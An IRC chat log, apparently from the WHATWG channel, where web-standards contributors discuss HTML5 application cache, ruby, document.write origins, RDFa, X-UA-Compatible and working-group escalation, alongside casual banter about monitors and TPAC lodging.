annevk2: http://www.whatwg.org/specs/web-apps/current-work/#matching-a-fallback-namespace

[03:21:00.0000] <annevk2>
but that isn't referenced

[03:21:01.0000] <Hixie>
good point

[03:21:02.0000] <Hixie>
file a bug?

[03:21:03.0000] <Hixie>
it should reference it

[03:22:00.0000] <hsivonen>
/me wonders what kind of API Chrome Tab uses to hook into X-UA-Compatible

[03:22:01.0000] <hsivonen>
s/Tab/Frame/

[03:22:02.0000] <hsivonen>
/me confuses IE Tab and Chrome Frame

[03:23:00.0000] <annevk2>
Hixie, why would you keep older application caches around btw?

[03:23:01.0000] <Hixie>
if you have multiple tabs open

[03:23:02.0000] <Hixie>
they might all be using different versions

[03:23:03.0000] <annevk2>
Hixie, ok, so only for open tabs

[03:23:04.0000] <Hixie>
yeah

[03:23:05.0000] <annevk2>
Hixie, what if you remove an older version in one of the tabs

[03:24:00.0000] <annevk2>
(the user can supposedly do that through UI)

[03:25:00.0000] <Hixie>
i guess the tab switches back to not having a cache

[03:28:00.0000] <annevk2>
Hixie, so what is the point of NETWORK actually if you can simulate it with FALLBACK?

[03:30:00.0000] <Hixie>
dunno, good point. hadn't really thought of it that way until just now.

[03:34:00.0000] <annevk2>
i'll post to the WHATWG list

[03:34:01.0000] <Hixie>
k thanks

[03:51:00.0000] <yatil>
Hi folks, I was just asked (in German) why there is no <rb> in HTML5, I guess  that it is implicit as everything which is not <rt> or <rp> inside a <ruby> element has to be <rb>. Right?

[03:51:01.0000] <Hixie>
right

[03:52:00.0000] <yatil>
Thank you!

[03:54:00.0000] <Philip`>
jgraham: Google will market it by doing http://3.bp.blogspot.com/_Zs8MDWN106k/SrkGvMrT3LI/AAAAAAAAEQc/4zIh9XlFmH4/s400/cf-in-ie.PNG

[03:55:00.0000] <mookid>
can someone please explain what escalate

[03:55:01.0000] <mookid>
this to the chairs

[03:55:02.0000] <mookid>
means

[03:56:00.0000] <mookid>
will the chairs exert their wrath upon me if my escalation displeases them?

[03:56:01.0000] <mookid>
I am quite happy to argue with them about this too

[03:56:02.0000] <mookid>
it seems that I even disagree with TBL

[03:56:03.0000] <mookid>
which is pretty hillarious

[03:57:00.0000] <Hixie>
othermaciej: ^

[03:57:01.0000] <othermaciej>
mookid: do you have a specific issue you would like to escalate?

[03:58:00.0000] <othermaciej>
or are you just asking in general?

[03:58:01.0000] <mookid>
Ian's interpretation of the HTTP spec

[03:58:02.0000] <mookid>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=7697

[03:58:03.0000] <mookid>
and the interpretation of the proposal

[03:59:00.0000] <mookid>
'proposal'

[03:59:01.0000] <mookid>
:)

[03:59:02.0000] <othermaciej>
so you have a feature proposal

[03:59:03.0000] <othermaciej>
if you would like to escalate it so the whole Working Group considers it, you can ask for an issue to be made in the tracker

[03:59:04.0000] <othermaciej>
however

[04:00:00.0000] <othermaciej>
a) please don't do this unless you think there is a reasonable chance other people will agree with you - it consumes the whole Working Group's time to escalate an issue

[04:00:01.0000] <othermaciej>
b) if no one makes a concrete proposal for an alternate design in a timely manner, the chairs may summarily close the issue

[04:01:00.0000] <othermaciej>
one thing you may want to do is raise the idea on the public-html mailing list to see if anyone else is interested

[04:01:01.0000] <mookid>
the proposal is very simple - to alter the signifance of type attributes on link elements

[04:01:02.0000] <mookid>
so it is more specific in the HTML5 spec

[04:01:03.0000] <othermaciej>
if there isn't significant interest from others, then I would advise you not to escalate since it will just waste people's time

[04:02:00.0000] <mookid>
do you not fear tyranny of the majority?

[04:02:01.0000] <othermaciej>
I expect browsers are unlikely to implement a behavior for the type attribute that breaks backwards compat

[04:02:02.0000] <mookid>
everyone used to think the world was flat.

[04:03:00.0000] <othermaciej>
I did not say you should have majority support to escalate

[04:03:01.0000] <othermaciej>
just some nontrivial interest from at least one person besides you

[04:03:02.0000] <othermaciej>
because if only one person wants the change, then it is going to fail

[04:04:00.0000] <mookid>
hmm

[04:04:01.0000] <othermaciej>
because the Chairs are required to declare Working Group decisions based on consensus (not necessarily unanimity, but at least rough consensus), or failing that by majority vote of the group

[04:04:02.0000] <othermaciej>
but escalating to an issue costs both the Chairs and the Working Group time, so I advise you not to do it unless you can show at least some support for your position

[04:05:00.0000] <mookid>
fair enough

[04:06:00.0000] <mookid>
can we add a footnote into the spec that I thought that bit was wrong?

[04:06:01.0000] <mookid>
just so in 200 years time when they try to work out what went wrong

[04:06:02.0000] <mookid>
I can get some credit

[04:06:03.0000] <othermaciej>
you're welcome to publish your own document saying you think that part is wrong

[04:07:00.0000] <mookid>
can I do doctored pictures of wg members?

[04:07:01.0000] <othermaciej>
why would you do that?

[04:07:02.0000] <mookid>
jazz up the documentation

[04:08:00.0000] <mookid>
it's so boring

[04:08:01.0000] <mookid>
you should have themes for each page

[04:08:02.0000] <othermaciej>
there's certainly no working group rule regarding such things, but of course considerations of common courtesy and good taste still apply

[04:08:03.0000] <da3d>
Add cat pictures, that always works

[04:08:04.0000] <mookid>
yeah ok I'll look into it

[04:09:00.0000] <mookid>
god damn

[04:09:01.0000] <mookid>
the world isn't flat.

[04:09:02.0000] <mookid>
you people.

[04:15:00.0000] <hsivonen>
Philip`: does Wave not work in Opera?

[04:19:00.0000] <zcorpan>
what's the origin of a document.written document?

[04:24:00.0000] <Lachy>
zcorpan, isn't it the same as the origin of the script that wrote it?

[04:24:01.0000] <Hixie>
zcorpan: it's the origin it had before document.write() was called on it

[04:25:00.0000] <Hixie>
document.write() doesn't change the origin of a document

[04:25:01.0000] <Hixie>
document.open() might, i forget

[04:25:02.0000] <Hixie>
and d.write() calls d.open()

[04:29:00.0000] <zcorpan>
"Change the document's address to the first script's browsing context's active document's address."

[04:29:01.0000] <zcorpan>
not sure what that means

[04:30:00.0000] <zcorpan>
ok, here's a more direct question: why doesn't web workers work in the live dom viewer in firefox or chrome?

[04:31:00.0000] <zcorpan>
ah

[04:31:01.0000] <zcorpan>
now i get it

[04:31:02.0000] <zcorpan>
new Worker('?') points to the live dom viewer page

[04:31:03.0000] <zcorpan>
not the document.written page

[05:09:00.0000] <Philip`>
hsivonen: They probably never even bothered testing in Opera

[05:14:00.0000] <Philip`>
/me likes how http://googlewavedev.blogspot.com/2009/09/google-wave-in-internet-explorer.html says "HTML5 support is still far behind" which links to http://www.browserscope.org/?category=acid3

[05:14:01.0000] <Philip`>
given that Acid3 doesn't actually test any of HTML5

[05:48:00.0000] <Philip`>
Maybe RDFa really should have been defined in two documents, a generic RDFa Concepts one and an RDFa in XHTML Syntax one

[05:49:00.0000] <Philip`>
Currently those two parts seem to be confused and mixed together

[05:49:01.0000] <Dashiva>
At this point I'm tempted to say "or maybe zero documents"

[05:49:02.0000] <Philip`>
which causes problems when trying to write an RDFa in HTML Syntax one

[05:49:03.0000] <Philip`>
Dashiva: Well, that too

[05:51:00.0000] <Dashiva>
Every post seems to echo the same sentiment: "It doesn't matter, the implementations will magically do the right thing without the spec having to state what it is"

[05:51:01.0000] <Dashiva>
So if magic is making it work, why have a spec at all?

[06:00:00.0000] <Dashiva>
/me wonders if it's sometimes preferable to attribute to malice rather than ignorance to avoid making people look stupid

[06:02:00.0000] <Hixie>
http://damowmow.com/playground/htmlwg/chart.html

[06:04:00.0000] <annevk2>
you're supposed to be asleep :)

[06:04:01.0000] <annevk2>
graph seems to be heading in the right direction though

[06:05:00.0000] <Dashiva>
Big red box 

[06:05:01.0000] <Dashiva>
Go lack of canvas text support!

[06:11:00.0000] <Philip`>
The automatic horizontal resizing of text to fit the maximum width looks disgusting

[06:11:01.0000] <Philip`>
(in Firefox 3.5)

[06:12:00.0000] <Philip`>
Also, I can't see the "closed" colour unless I move my head downwards by six inches

[06:14:00.0000] <Hixie>
you've said that before about #EEEEEE

[06:14:01.0000] <Hixie>
you need a better monitor

[06:15:00.0000] <jgraham>
So someone needs to start doing some reviewing

[06:15:01.0000] <Philip`>
I have a better monitor than I had a month ago

[06:15:02.0000] <Dashiva>
Maybe you have a good monitor but at the wrong angle

[06:16:00.0000] <Philip`>
except now it's glossy, so I can't look at it straight on because I'll see my face and get distracted, so I have to look downwards at a bit of an angle

[06:22:00.0000] <da3d>
Glossy monitors are broken by design.

[06:23:00.0000] <Lachy>
da3d, glossy monitors with good anti-reflective coating on them aren't that bad

[06:24:00.0000] <hsivonen>
glossy and anti-reflective seem mutually exclusive

[06:24:01.0000] <hsivonen>
glossy monitors are evil

[06:26:00.0000] <Lachy>
not entirely. You would get the glass cover over the LCD, like on the new MacBooks with glossy display, but that glass can be coated with anti-reflective coating so it looks glossy without reflecting everything

[06:26:01.0000] <Philip`>
/me doesn't like it, but the computer was pretty cheap so he can't expect it to be great

[06:27:00.0000] <hsivonen>
/me hasn't inspected the latest MacBooks

[06:28:00.0000] <hsivonen>
but the screen on the MacBooks that were current in Q2 of 2008 sucks

[06:28:01.0000] <hsivonen>
I run mine lid closed except when traveling, so it's not a huge problem

[06:29:00.0000] <hsivonen>
also, the LED Cinema Display sucks

[06:29:01.0000] <Lachy>
I have an iMac with a glossy display, and the screen on that really isn't bad at all

[06:30:00.0000] <da3d>
The only glossy screen I have is on my phone, but I can tolerate it only because it's full of OLED awesomeness.

[06:30:01.0000] <yatil>
I like my macbook pro glossy screen… what exactly has that to do with HTML?

[06:30:02.0000] <yatil>
;)

[06:31:00.0000] <beowulf>
you cannot see the HTML without the glossy monitor

[06:31:01.0000] <hsivonen>
beowulf: ITYM "with"

[06:32:00.0000] <Philip`>
It's more like you cannot see the HTML issues graph with a glossy monitor which prevents you from looking straight on and therefore causes colour distortion

[06:32:01.0000] <Philip`>
Maybe HTML should make glossy monitors non-conforming

[06:32:02.0000] <beowulf>
i can't see the issues graph because of my browser, my ips panel rocks though

[06:32:03.0000] <Philip`>
s/HTML/HTML5/

[06:33:00.0000] <hsivonen>
http://www.hrd.qut.edu.au/healthsafety/worksafely/highGloss.jsp

[06:40:00.0000] <Hixie>
i kinda like my chart

[06:41:00.0000] <Hixie>
it'll update daily

[06:41:01.0000] <Lachy>
Philip`, we should make "Best Viewed with a Matte Display" buttons :-)

[06:46:00.0000] <gsnedders>
/me hates his glossy MBP

[06:46:01.0000] <gsnedders>
(and this is before they got really bad)

[06:57:00.0000] <Philip`>
Just so I don't forget this link: "The BBC is publishing RDFa in the form of program reviews" is for the music reviews linked from http://www.bbc.co.uk/music/reviews/ (not TV programme reviews)

[07:00:00.0000] <jgraham>
Philip`: Looks like the licensing information isn't RFDa

[07:00:01.0000] <Philip`>
s/TV programme reviews/TV programme listings/

[07:00:02.0000] <zcorpan>
heycam: yt?

[07:01:00.0000] <Philip`>
jgraham: I don't think RDFa has a requirement saying "You MUST use RDFa for absolutely all metadata on your page"

[07:01:01.0000] <Philip`>
jgraham: Seems they're just using RDFa that has an actual effect, i.e. Google's RDFa-ish review markup

[07:01:02.0000] <zcorpan>
heycam: "Need to test how implementations actually behave when passed too few or too many arguments." - i'd like this to be resolved, so i know how to write a test for new Worker()

[07:12:00.0000] <Philip`>
Oh no, HTML5 removed its X3D support :-(

[07:29:00.0000] <Philip`>
/me tries to work out how to set IE8 to use Google in its search box

[07:30:00.0000] <Philip`>
Seems I have to do "Find more providers...", and then select the "Search" category (from a list of about two dozen), and then look right at the bottom of the second page of results

[07:33:00.0000] <TabAtkins>
Hm, really?  Mine set itself up with google right from the start.

[07:34:00.0000] <Philip`>
Mine defaulted to Bing

[07:34:01.0000] <Philip`>
and I missed the usual startup provider-selection thing since I had to reboot to get the network working

[08:26:00.0000] <TabAtkins>
Hmm.  I fear that using <dt>/<dd> in <details> will cause people to think that <dl> stands for "details list".

[08:27:00.0000] <TabAtkins>
And then be disappointed when it *doesn't* produce an accordion.

[08:27:01.0000] <jgraham>
I fear the axiomatic proof

[08:28:00.0000] <TabAtkins>
haha

[08:28:01.0000] <TabAtkins>
Who was it that published that?  It's been so long.

[08:28:02.0000] <TabAtkins>
/me goes to look it up on Hixie's blog.

[08:31:00.0000] <TabAtkins>
Hehehe, I forgot how awesome the Proof is.

[08:54:00.0000] <erlehmann>
TabAtkins, link?

[08:55:00.0000] <TabAtkins>
erlehmann: http://lmgtfy.com/?q=hixie+axiomatic+proof

[08:56:00.0000] <erlehmann>
TabAtkins, that was before my time

[08:56:01.0000] <TabAtkins>
Before mine too.  I found it originally while trawling Hixie's blog.

[08:56:02.0000] <Philip`>
erlehmann: Time is rendered irrelevant by archives

[08:57:00.0000] <Philip`>
Well, half of time, anyway

[08:57:01.0000] <erlehmann>
Philip`, lets not get existential in here. I am not intimidated by a bunch of characters !!

[08:57:02.0000] <erlehmann>
btw: ASCII portal is out \e/

[08:58:00.0000] <TabAtkins>
i know!

[08:58:01.0000] <TabAtkins>
woo!

[09:04:00.0000] <TabAtkins>
Yay, birthday weekend will be scottish-themed this year.

[09:05:00.0000] <TabAtkins>
(at the Renaissance festival this year, which my birthday always falls during)

[09:11:00.0000] <TabAtkins>
Hm, the file|save/open thing for apps seems to make sense.

[09:14:00.0000] <erlehmann>
TabAtkins, so the axiomatic proof says that a spec that makes violations of another spec possible is unpossible ?

[09:15:00.0000] <TabAtkins>
Not quite.  As best as I can understand, it's saying that any changes to the specification that aren't specifically allowed change the semantics of the specification.

[09:16:00.0000] <TabAtkins>
Specifically, CSS and XBL apparently change the semantics of HTML.

[09:16:01.0000] <erlehmann>
CSS changes semantics ?

[09:17:00.0000] <erlehmann>
well, i can't argue against that. axiomatic proof is axiomatic, at last. ;D

[09:17:01.0000] <Lachy>
erlehmann, yes. Didn't you read the *axiomatic proof*?

[09:17:02.0000] <TabAtkins>
According to the Axiomatic Proof.

[09:17:03.0000] <TabAtkins>
Indeed.

[09:18:00.0000] <hsivonen>
did Axiomatic Proof show up on a mailing list again?

[09:19:00.0000] <jgraham>
hsivonen: Sadly not

[09:19:01.0000] <beowulf>
I feel the urge to watch Wall·E

[09:19:02.0000] <TabAtkins>
No, jgraham mentioned it.

[09:19:03.0000] <TabAtkins>
beowulf: give in.  It's a good urge.

[09:20:00.0000] <beowulf>
All your axiomatic proofs will be catered for on the Axiom

[09:21:00.0000] <TabAtkins>
Man, I'm gonna have to go manually implement dirtying for my inputs.  Stupid bug reports asking for stupid delayed validation until the stupid second input in the pair is filled in.

[09:21:01.0000] <TabAtkins>
/me goes to request a :dirty pseudoclass.

[09:26:00.0000] <erlehmann>
beowulf, cluster !!

[09:28:00.0000] <Philip`>
"Before I dwelve into XAML's superior model and eventual (defacto) conquest, let me preemptively squelch XUL rebuttals." - 'dwelve' is a cool word, even if it doesn't exist

[09:28:01.0000] <Philip`>
(Also, does anyone actually use XAML for anything?)

[09:29:00.0000] <Philip`>
(Ah, apparently it's used for Silverlight and stuff)

[09:29:01.0000] <beowulf>
hsivonen's html5 presentation told me XAML was in Silverlight

[09:30:00.0000] <beowulf>
see? always learning. always.

[09:44:00.0000] <hsivonen>
Avalon, XAML, WPF-E, Silverlight

[11:03:00.0000] <JonathanNeal>
What would be a clever classname for the first h1 element within a section/article/aside

[11:05:00.0000] <Rik|work>
h1:first-child ?

[11:09:00.0000] <TabAtkins>
h1:first-of-type, actually.

[11:09:01.0000] <Rik|work>
yeah right :)

[11:09:02.0000] <TabAtkins>
/me is sad that there isn't a more general :first-of pseudoclass.

[11:09:03.0000] <JonathanNeal>
Well, ie6 won't accept first-child type selectors.

[11:09:04.0000] <TabAtkins>
I wanna select the first thing with a particular class, frex.

[11:09:05.0000] <TabAtkins>
Then .first-of-type

[11:10:00.0000] <zcorpan>
* html { display:none }

[11:10:01.0000] <zcorpan>
problem solved

[11:10:02.0000] <Rik|work>
TabAtkins: :first-of(selector) like :not ?

[11:10:03.0000] <TabAtkins>
Rik|work: yeah

[11:11:00.0000] <TabAtkins>
But :first-of() sounds kinda weird.  Better to be just :first() or something.  :first(h1).

[11:11:01.0000] <TabAtkins>
:first(h1) would be equivalent to h1:first-of-type, that is.

[11:12:00.0000] <TabAtkins>
Also: "first" has officially become not a word at this point.  >_<

[11:13:00.0000] <JonathanNeal>
Well, I'm just trying to label the elements that will shot up in outliner.

[11:14:00.0000] <JonathanNeal>
show

[11:14:01.0000] <JonathanNeal>
I was calling them .section-title but I thought it could be better.

[11:15:00.0000] <TabAtkins>
.outlinee

[11:15:01.0000] <TabAtkins>
since they're significant to the outlin*er*

[11:32:00.0000] <hsivonen>
60 seconds to learn prefixes is a rather Panglossian on xmlns

[11:32:01.0000] <hsivonen>
s/on/view on/

[12:28:00.0000] <Philip`>
Does anything say that documents must not have parse errors?

[12:29:00.0000] <Philip`>
/me can't find any such thing

[12:29:01.0000] <Philip`>
(I was looking at "Any byte or sequences of bytes in the original byte stream that is misinterpreted for compatibility is a parse error" but don't see where that translates into a requirement on documents)

[12:30:00.0000] <gsnedders>
In XML?

[12:30:01.0000] <gsnedders>
Oh, in HTML 5 that must be

[12:31:00.0000] <gsnedders>
/me thought you were referring to my few-minutes-ago-post

[12:31:01.0000] <Philip`>
I don't care about XML

[12:31:02.0000] <gsnedders>
Sensible.

[12:31:03.0000] <Philip`>
except when I can break it

[12:32:00.0000] <Philip`>
Actually I don't really care about anything except when I can break it

[12:32:01.0000] <Philip`>
Breaking things is fun

[12:32:02.0000] <gsnedders>
Do you like music?

[12:32:03.0000] <Philip`>
Not unless I can break it

[12:37:00.0000] <zcorpan>
Philip`: #writing has the requirement for documents

[13:13:00.0000] <masinter>
/me argues to TAG that we schedule joint IRC sessions

[13:20:00.0000] <Steve^>
how do you shut people like me up during them?

[13:20:01.0000] <masinter>
certainly wouldn't want you to shut up... what's the point of that?

[13:21:00.0000] <Steve^>
you would want to keep some agenda and keep people on track

[13:21:01.0000] <Steve^>
I suppose the chair could kick people who didn't calm down when asked to

[13:22:00.0000] <masinter>
i'm scribing the tag meeting right now in another window will answer later

[13:30:00.0000] <masinter>
IRC needs less moderation than phone or F2F meetings, since random chatter can be ignored. and if people aren't calm, well, we're asking the questions wrong

[13:32:00.0000] <Philip`>
Or the people are just trolls

[13:36:00.0000] <JonathanNeal>
Bummer.  The http://html5.validator.nu/ validator not like <meta content="chrome=1" http-equiv="X-UA-Compatible" />

[13:37:00.0000] <JonathanNeal>
(does not like)

[13:37:01.0000] <masinter>
/me wonders if anyone looked at the media feature RFCs before doing X-UA-compatible

[13:38:00.0000] <masinter>
or was it NIH?

[13:41:00.0000] <Philip`>
masinter: Seems like unneeded complexity, when the goal was simply to have an IE-specific flag that could be set via either HTTP headers or a tag in the HTML document

[13:42:00.0000] <masinter>
what's the namespace in which 'chrome' is a name?

[13:43:00.0000] <Philip`>
The global namespace

[13:43:01.0000] <masinter>
seems like it means spinning up another registry, which is unnecessary overhead, requires some organization to maintain it

[13:43:02.0000] <Philip`>
Why would it need a registry?

[13:44:00.0000] <masinter>
how do i find out what 'chrome' means?

[13:44:01.0000] <Philip`>
You search the internet for a web browser called "Chrome"

[13:44:02.0000] <hsivonen>
masinter: you read a blog post on google's site

[13:44:03.0000] <zcorpan>
http://www.google.com/search?q=chrome+x-ua-compatible

[13:45:00.0000] <Philip`>
The feature is only useful for UAs with significant market share, because otherwise no author is ever going to bother setting the flag for that UA

[13:45:01.0000] <Philip`>
so there won't be many and there won't be accidental collisions

[13:46:00.0000] <hsivonen>
one can erly o trademarks to avoid collisions

[13:46:01.0000] <hsivonen>
*rely

[13:46:02.0000] <Philip`>
*on

[13:47:00.0000] <zcorpan>
chrome could have used any other indicator to flip the switch

[13:47:01.0000] <Philip`>
/me notes that people have trouble even getting the x-ua-compatible syntax right, so he wouldn't like it to be any more powerful or flexible

[13:47:02.0000] <zcorpan>
but probably chose the x-ua-compatible meta because people are already familiar with it for switching ie engines

[13:48:00.0000] <Philip`>
I suppose this means Chrome is never going to implement x-ua-compatible itself

[13:48:01.0000] <Philip`>
otherwise a load of sites would be unintentionally causing themselves to render in Chrome's v1 compatibility mode

[13:49:00.0000] <hsivonen>
zcorpan: it could also be seens as an elaborate practical joke on IE engine switching

[13:49:01.0000] <hsivonen>
*seen

[13:49:02.0000] <hsivonen>
/me blames text input method

[13:50:00.0000] <JonathanNeal>
Well, I got back to work on the Liferay website Monday and I've got the mockup of our homepage done @ http://madison.thewikies.com/liferay/wireframe/ --- outlines nicely

[13:50:01.0000] <masinter>
((will discuss later must go back))

[15:15:00.0000] <TabAtkins>
Hixie, is it too late for the Google TPAC sponsorship?  fantasai just convinced me that I can afford it.

[15:17:00.0000] <gsnedders>
That little bully!

[15:17:01.0000] <gsnedders>
(I say in jest.)

[15:17:02.0000] <TabAtkins>
Man, for serious.

[15:17:03.0000] <TabAtkins>
^_^

[15:18:00.0000] <gsnedders>
I can't be too mean to her (or Hixie, for that matter), as she did pay for dinner for me one time last TPAC.

[15:18:01.0000] <gsnedders>
Ah, the benefits of being unemployed :P

[15:20:00.0000] <TabAtkins>
"benefits"

[15:20:01.0000] <tantek>
gsnedders, will you be at the upcoming TPAC?

[15:20:02.0000] <gsnedders>
tantek: no

[15:21:00.0000] <TabAtkins>
tantek: you're on the short list of people fantasai told me to beg for housing over tpac

[15:22:00.0000] <tantek>
TabAtkins - I myself may be doing some housing begging - I'm in SF which is over an hour of driving each way away from the TPAC.

[15:22:01.0000] <TabAtkins>
k.  you weren't the first person on my list, but you were the closest to hand.

[15:24:00.0000] <tantek>
btw, for anyone in SF, we're having a microformats dinner meetup/drinkup tonight: http://upcoming.yahoo.com/event/4521748/

[15:30:00.0000] <Hixie>
TabAtkins: e-mail me

[15:30:01.0000] <TabAtkins>
Will do.

[15:45:00.0000] <Lachy>
tantek, TabAtkins, I'm also looking for cheap or free accommodation for TPAC

[15:45:01.0000] <Lachy>
one alternative is to share a room at the hotel, which effectively cuts the price in half for each

[15:47:00.0000] <TabAtkins>
I probably can't even do half, though.

[15:49:00.0000] <Lachy>
staying at the Santa Clara Mariott is about $192 (incl. taxes), or roughly $96 each, per night. I know that seems a little much.

[15:49:01.0000] <Lachy>
but there's a place that I believe is across the road, according to google maps, that is half that price.

[15:49:02.0000] <gsnedders>
/me shared a room last year for 142 EUR for the entire week

[15:49:03.0000] <Lachy>
gsnedders, you shared with Ben, didn't you?

[15:50:00.0000] <gsnedders>
Lachy: No, Shawn

[15:50:01.0000] <Lachy>
oh

[15:50:02.0000] <gsnedders>
(We were originally going to share one room between three, but the hotel didn't have any rooms free to do that… so we got two rooms for the same price)

[15:50:03.0000] <Lachy>
Shawn who? What's his last name?

[15:51:00.0000] <gsnedders>
smedero

[15:51:01.0000] <gsnedders>
Medero

[15:51:02.0000] <Lachy>
oh, right

[15:51:03.0000] <Lachy>
for some reason, I don't remember meeting him. But I must have.

[15:52:00.0000] <TabAtkins>
I'm not sure what the problem is with sharing across more than 2 people.  Worst case someone sleeps on the floor, if noone wants to share a queen or whatever.

[15:52:01.0000] <gsnedders>
TabAtkins: The room myself and Shawn had was tiny. You could just about walk around the end of the two twin beds :)

[15:53:00.0000] <TabAtkins>
ah, twins can't be shared.

[15:53:01.0000] <TabAtkins>
not without getting a bit too friendly.

[15:53:02.0000] <gsnedders>
/me facepalms

[15:53:03.0000] <Lachy>
well, I was in a photo with him. So I definitely did. http://www.flickr.com/photos/hendry/2964510881/ I just don't remember him. :-)

[15:53:04.0000] <gsnedders>
TabAtkins: I'm under 18! How dare you wreck my innocent ears!

[15:54:00.0000] <gsnedders>
Oh dear, I look horrific there

[15:54:01.0000] <TabAtkins>
You're rockin' the fro, whatever.

[15:54:02.0000] <Lachy>
gsnedders, don't worry. You've looked worse.

[15:54:03.0000] <gsnedders>
True.

[15:54:04.0000] <TabAtkins>
Hahaha, that's probably the worst consolation ever.

[15:55:00.0000] <gsnedders>
(And you haven't even seen one of the photos from my ball where it looks as if I have no eyes)

[15:55:01.0000] <TabAtkins>
/me facepalms too.

[15:55:02.0000] <gsnedders>
(or rather, IIRC, no pupils: just white)

[15:55:03.0000] <TabAtkins>
I just now got why you were facepalming.

[15:55:04.0000] <Lachy>
gsnedders, I saw one of those on facebook. I saw enough.

[15:56:00.0000] <gsnedders>
TabAtkins: Wrecking my innocence, I'm telling you!

[15:56:01.0000] <gsnedders>
Lachy: You didn't see the worst ones, they aren't there :)

[15:56:02.0000] <Lachy>
haha

[15:56:03.0000] <TabAtkins>
Unless the uk is a magical land of happy fairies, your ears are far from innocent at that age.

[15:56:04.0000] <gsnedders>
TabAtkins: Heck, the age of majority in Scotland is 16, and you can be legally married and doing unmentionable things at that age :P

[15:56:05.0000] <gsnedders>
*do

[15:57:00.0000] <TabAtkins>
Our age of majority is 18, but you can be married much younger than that (depends on the area).

[15:57:01.0000] <gsnedders>
(In England, Wales, and NI you have to be 18, unless you have your parents consent, then you can get married at 16)

[15:57:02.0000] <Lachy>
TabAtkins, that's an interesting idea.  The rooms are meant to accommodate up to 4 people, with 2 double beds. I could take an air bed and sleep on the floor.

[15:58:00.0000] <TabAtkins>
so, 5 of us in one?

[15:58:01.0000] <TabAtkins>
that's the sort of math i like to hear.

[15:59:00.0000] <TabAtkins>
(though, if arronei says yes, i'll be taken care of anyway)

[15:59:01.0000] <TabAtkins>
But he's on vacation, so we've probably got time to plan all sorts of sleepover activitiees.

[15:59:02.0000] <TabAtkins>
i vote pillow fight in undies.

[15:59:03.0000] <TabAtkins>
then we talk about all the boys we've kissed.

[15:59:04.0000] <Lachy>
I ain't kissin any boys!

[15:59:05.0000] <gsnedders>
/me facepalms

[16:00:00.0000] <TabAtkins>
Missin' out, Lachy.

[16:00:01.0000] <TabAtkins>
/me is happily married to a woman.

[16:00:02.0000] <gsnedders>
Pfff. Girls > boys.

[16:00:03.0000] <Lachy>
TabAtkins, gsnedders will join in.

[16:00:04.0000] <Dashiva>
gsnedders: Always so self-depreciating

[16:00:05.0000] <Hixie>
what's wrong with boys

[16:00:06.0000] <Hixie>
i'm a boy

[16:01:00.0000] <gsnedders>
Hixie: You're immature and annoying.

[16:01:01.0000] <Hixie>
well, true

[16:01:02.0000] <Dashiva>
Also, cooties

[16:01:03.0000] <Lachy>
Hixie, nothing is wrong with boys. There's just something wrong with a straight guy kissing other boys.

[16:01:04.0000] <gsnedders>
Dashiva: Only if I am a boy :P

[16:01:05.0000] <gsnedders>
Lachy: Well, believe in innate bisexuality and then all your problems are solved :P

[16:01:06.0000] <Dashiva>
gsnedders: That seems a rather safe bet

[16:02:00.0000] <Hixie>
gsnedders: i don't think people really get to chose their sexuality

[16:02:01.0000] <gsnedders>
Hixie: Nor do I.

[16:04:00.0000] <gsnedders>
(Really, do you take everything I say seriously?)

[16:04:01.0000] <Hixie>
yes

[16:04:02.0000] <gsnedders>
Hixie: Naïve.

[16:04:03.0000] <Hixie>
i also take everything Philip` says seriously

[16:04:04.0000] <Dashiva>
I think people who kiss boys are self-selecting anyhow

[16:05:00.0000] <TabAtkins>
?_?

[16:05:01.0000] <TabAtkins>
The only people who kiss boys are the ones that want to kiss boys?

[16:05:02.0000] <gsnedders>
Hixie: Well, then, I'm an incredibly innocent homophobic fundamentalist Christian.

[16:06:00.0000] <Hixie>
gsnedders: i know

[16:06:01.0000] <Dashiva>
You can't hide things from Hixie

[16:06:02.0000] <gsnedders>
Wait, what? He knows about last night? Shit.

[16:07:00.0000] <Dashiva>
gsnedders: You're a fundamentalist Christian, what's one more omniscient Big Brother?

[16:07:01.0000] <Lachy>
woah, tell us about last night?

[16:08:00.0000] <Lachy>
don't worry, it'll just be between us ;-)

[16:08:01.0000] <gsnedders>
You take what I say seriously? ;)

[16:09:00.0000] <gsnedders>
Lachy: I finished "The Great Gatsby".

[16:09:01.0000] <Dashiva>
gsnedders: Also, enjoy your eternal damnation for saying "shit"

[16:09:02.0000] <Lachy>
well done.

[16:09:03.0000] <gsnedders>
Dashiva: dammit.

[16:09:04.0000] <Lachy>
Dashiva, eternal damnation only comes from blasphemy

[16:10:00.0000] <gsnedders>
 All I said was this Halibut is good enough for Jehovah!

[16:10:01.0000] <TabAtkins>
Also: doubting Jesus in your heart

[16:10:02.0000] <Dashiva>
What is it then? Really long but not quite eternal damnation?

[16:11:00.0000] <Lachy>
personally, I'm looking forward to my eternal damnation. The brochure makes it sound exciting.

[16:11:01.0000] <TabAtkins>
http://dresdencodak.com/2005/11/29/secular-heaven/

[16:13:00.0000] <Lachy>
heh

[16:22:00.0000] <TabAtkins>
should I attend the wednesday plenary?  and the wednesday plenary reception?

[16:22:01.0000] <Hixie>
if you'll be in the area anyway you might as well

[16:23:00.0000] <TabAtkins>
kk

[16:23:01.0000] <Hixie>
insofar as teh whole thing is a waste of time, the plenary is no more of a waste of time than the meeting itself

[16:23:02.0000] <Hixie>
but i'm sure you'll enjoy it if it's your first one :-)

[16:24:00.0000] <Hixie>
i'm just jaded after years of going to these and seeing no significant progress made each time

[16:24:01.0000] <TabAtkins>
cool

[16:24:02.0000] <Hixie>
(compared to the amount of progress an average week brings in the whatwg, i mean)

[16:24:03.0000] <othermaciej>
you should go, it's a good way to meet people

[16:25:00.0000] <TabAtkins>
I'm sad that "omnivore" and "vegetarian" are represented in the meal choices, but not ovo-lacto-carnivore.

[16:25:01.0000] <Hixie>
yeah that really is the main benefit

[16:25:02.0000] <tantek>
Hixie - that's a little harsh, you and I have both been in working group meetings at plenaries that have made good progress.

[16:25:03.0000] <Hixie>
tantek: html5 makes more progress by e-mail every week than the csswg has done since 2004.

[16:25:04.0000] <tantek>
plus, don't forget the "your test suite isn't wearing any clothes" panel we were both on :)

[16:25:05.0000] <Lachy>
the social aspect is one of the major advantages of events like TPAC, since it makes working with others much easier if you know them personally in some way

[16:26:00.0000] <Hixie>
tantek: yeah, and look how much help that was

[16:26:01.0000] <Hixie>
Lachy: indeed

[16:26:02.0000] <Hixie>
i just wish we made these things really about the social aspect rather than pretend they were productive

[16:26:03.0000] <Hixie>
we should all go white water rafting or something

[16:26:04.0000] <tantek>
